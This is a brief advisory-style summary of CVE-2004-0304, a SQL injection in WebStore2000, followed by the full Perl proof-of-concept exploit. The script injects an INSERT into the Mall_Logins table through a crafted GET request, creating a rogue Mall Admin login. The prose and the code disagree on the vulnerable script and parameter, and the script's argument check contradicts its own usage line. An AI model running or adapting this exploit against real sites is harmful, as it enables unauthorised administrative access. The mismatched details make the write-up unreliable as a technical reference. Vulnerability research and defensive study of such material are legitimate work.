CVE-2004-0304

Remote attackers can exploit this vulnerability by sending a crafted request to the `browse_items.asp` script. The vulnerability lies in the `Search_Text` parameter, which is not properly sanitized. By injecting SQL commands into this parameter, an attacker can modify the intended SQL query. This can lead to unauthorized access, information disclosure, or database corruption [ref_id=1]. The provided exploit demonstrates creating a Mall Admin user by injecting into the `Mall_Logins` table [ref_id=1].

The vulnerability is present in the `browse_items.asp` script, specifically related to the handling of the `Search_Text` parameter. The exploit targets the `Mall_Logins` table by injecting data into the `insert into Mall_Logins values ('bosen','gembel')--` command [ref_id=1].

The advisory does not specify a patch or provide details on how the vulnerability is fixed. Remediation guidance typically involves implementing robust input validation and parameterized queries to prevent SQL injection attacks. Without a patch, the exact fix cannot be determined.

```perl #!/usr/bin/perl -w #This exploit create user with Mall Admin priv. #You can login via /MallAdmin/ $pamer = " 1ndonesian Security Team (1st) ============================== http://bosen.net/releases/

ws2k-ex.pl, WebStore2000 SQL Injection Proof of Concept Exploit by : Bosen Discover by : Bosen Greetz to : AresU, TioEuy, syzwz, TioEuy, sakitjiwa, muthafuka all #hackers\@centrin.net.id/austnet.org";

use LWP::UserAgent; use HTTP::Request; use HTTP::Response; $| = 1; print $pamer; if ($#ARGV<3){ print "\n Usage: perl ws2k-ex.pl <uri>\n\n"; exit; } my $legend = "$ARGV[0]/browse_item_details.asp?Item_ID="; $legend .= "''; insert into Mall_Logins values ('bosen','gembel')--";

my $bosen = LWP::UserAgent->new(); my $gembel = HTTP::Request->new(GET => $legend); my $dodol = $bosen->request($gembel); if ($dodol->is_error()) { printf " %s\n", $dodol->status_line; } else { print "Alhamdulillah :P\n"; } print "\n680165\n"; ```